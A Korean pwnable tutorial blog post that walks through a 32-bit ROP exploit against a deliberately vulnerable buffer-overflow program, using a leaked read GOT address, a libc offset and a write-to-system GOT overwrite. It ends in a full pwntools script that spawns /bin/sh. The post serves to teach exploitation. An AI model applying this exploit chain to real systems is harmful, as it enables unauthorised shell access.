Hacking/Pwnable

ROP (x86)

GunP4ng 2024. 8. 16. 23:54

ROP (Return Oriented Programming)


1. ROP ?

Return Orented Programming 으로 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 공격 기법이다.

공격자는 보호기법에 맞춰 return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성할 수 있다.

 

 

2. 익스플로잇 구성

1. 코드 확인

// Name : rop.c
// Compile : gcc -o rop rop.c -m32 -mpreferred-stack-boundary=2 -fno-pic -no-pie

#include <stdio.h>

void tools(){
    asm ( 
        "pop %edi;" 
        "pop %esi;" 
        "pop %edx;"
        "ret;"        
    );
}

int main(){
    char buf[100];
    read(0, buf, 200);
    write(1, buf, 100);

    return 0;
}

BOF 가 일어나는 예제코드로 실습해보자

가젯은 찾기 편하게 코드에 추가해주었다.

 

checksec 명령어로 보호기법을 확인해보자

[*] '/home/gunp4ng/pwnable/ROP/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Partial RELRO, NX-bit 보호 기법이 걸려있는 것을 알 수 있다.

추가로 ASLR 도 활성화 되어있다.

 

2. 공격 순서

  • write 함수로 read GOT 를 출력하여 read 함수의 실제 주소를 알아낸다.
  • read 함수로 bss 의 주소에 "/bin/sh" 을 저장한다.
  • read 함수로 write GOT 영역에 system 함수의 주소를 저장한다. (GOT Overwrite)
  • write 함수의 인자로 bss 영역 (/bin/sh) 을 전달하고 호출한다.

 

 

3. 필요한 정보 구하기

1. 가젯 구하기 (pop pop pop ret)

read, write 함수의 인자는 3개이므로 pop pop pop ret 가젯을 찾아야한다.

pppr 가젯

pop pop pop ret 가젯의 주소는 0x8049189이다.

 

2. bss 영역 주소 구하기

bss 주소

bss 영역의 주소는 0x804c020 이다.

 

3. system offset (read - system) 구하기

라이브러리 위치가 계속 변함

ASLR 방어기법으로 인해 라이브러리 영역의 위치가 계속해서 변한다.

→ system 함수의 실제 주소를 구하기 힘들어졌다.

 

read - system 은 동일

라이브러리 내의 함수간 거리는 변하지 않는다.

따라서 read - (read - system) 을 하면 system 함수의 주소를 구할 수 있다.

 

system, read

system 의 주소는 0xf7dca170 이다.

read 의 주소는 0xf7e8c170 이다.

 

read - system 은 0xc2000 이다.

system offset 은 0xc2000 이 된다.

 

4. buf 의 크기 구하기

Dump of assembler code for function main:
   0x08049186 <+0>:     push   ebp
   0x08049187 <+1>:     mov    ebp,esp
   0x08049189 <+3>:     sub    esp,0x64
   0x0804918c <+6>:     push   0xc8
   0x08049191 <+11>:    lea    eax,[ebp-0x64]
   0x08049194 <+14>:    push   eax
   0x08049195 <+15>:    push   0x0
   0x08049197 <+17>:    call   0x8049050 <read@plt>
   0x0804919c <+22>:    add    esp,0xc
   0x0804919f <+25>:    push   0x64
   0x080491a1 <+27>:    lea    eax,[ebp-0x64]
   0x080491a4 <+30>:    push   eax
   0x080491a5 <+31>:    push   0x1
   0x080491a7 <+33>:    call   0x8049060 <write@plt>
   0x080491ac <+38>:    add    esp,0xc
   0x080491af <+41>:    mov    eax,0x0
   0x080491b4 <+46>:    leave
   0x080491b5 <+47>:    ret
End of assembler dump.

main 함수의 어셈블리이다. 

 

buf 는 ebp-0x64 (100) 만큼을 할당하는 것을 알 수 있다.

buf 의 크기는 0x64 (100) 이다.

 

 

4. 페이로드 작성

1. read 함수 주소 구하기

e = ELF('./rop')

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']

python pwntools 를 이용하여 read GOT 를 간단하게 구할 수 있다.

 

write(1, read GOT, 4) 을 하면 표준 출력으로 read GOT 를 출력하게 된다.

따라서 read 함수의 실제 주소를 얻을 수 있다.

# write(1, read GOT, 4)
payload = b'A' * 0x68
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

 write 함수로 read GOT 를 출력한다.

 

2. read 함수로 bss 영역에 "/bin/sh" 쓰기

# read(0, bss, 8)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

read(0, bss, 8) 을 하면 bss 영역에 "/bin/sh" 을 쓸 수 있다.

 

3. read 함수로 write GOT 영역에 system 주소 쓰기

write("/bin/sh")을 실행시키면 system("/bin/sh") 가 실행되어야 한다.

따라서 write GOT 를 system GOT 로 덮어씌운다.

 

# read(0, write GOT, 4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

read(0, write GOT, 4) 를 하면 write GOT 영역에 값을 쓸 수 있다.

 

 4. write 함수 호출 (system 호출)

# write(bss)
payload += p32(write_plt)
payload += b'A' * 4
payload += p32(bss)

write(bss) 를 호출하면 write GOT 에 덮어씌운 system 주소가 실행된다.

인자로 bss 를 전달하면 bss 영역에 저장한 "/bin/sh" 이 전달되어 system("/bin/sh") 이 실행된다.

 

5. system 함수 주소 구하기

wirte 함수로 출력한 read 함수의 실제 주소 (read GOT)에서 system offset 을 빼면

system 함수의 실제 주소를 구할 수 있다.

 

read_addr = u32(p.recv()[-4:])
system_addr = read_addr - system_offset

write 함수로 출력한 read GOT 를 가져온다.

그 다음 system offset 과 뺀 뒤 system_addr 에 저장한다.

 

6. read 함수에 값 전달하기

p.send(b'/bin/sh\x00')
p.send(p32(system_addr))

read 함수로 bss 영역에 쓸 "/bin/sh" 문자열을 전달한다.

그 다음 write GOT 영역에 쓸 system 함수의 주소를 전달한다. 

 

 

5. 최종 페이로드

1. payload

from pwn import *

context.log_level = 'debug'
context(arch='i386', os='linux')

p = process('./test')
e = ELF('./test')

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']

pppr = 0x8049189
bss = 0x804c020
system_offset = 0xc2000

# write(1, read GOT, 4)
payload = b'A' * 0x68
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

# read(0, bss, 8)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

# read(0, write GOT, 4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

# write(bss)
payload += p32(write_plt)
payload += b'A' * 4
payload += p32(bss)

p.send(payload)

read_addr = u32(p.recv()[-4:])
system_addr = read_addr - system_offset

print('read_addr : {}'.format(hex(read_addr)))
print('system_addr : {}'.format(hex(system_addr)))

p.send(b'/bin/sh\x00')
p.send(p32(system_addr))

p.interactive()

위에서 종합한 정보들로 작성한 payload 이다.

 

셸 획득

실행하면 셸을 획득한 것을 볼 수 있다.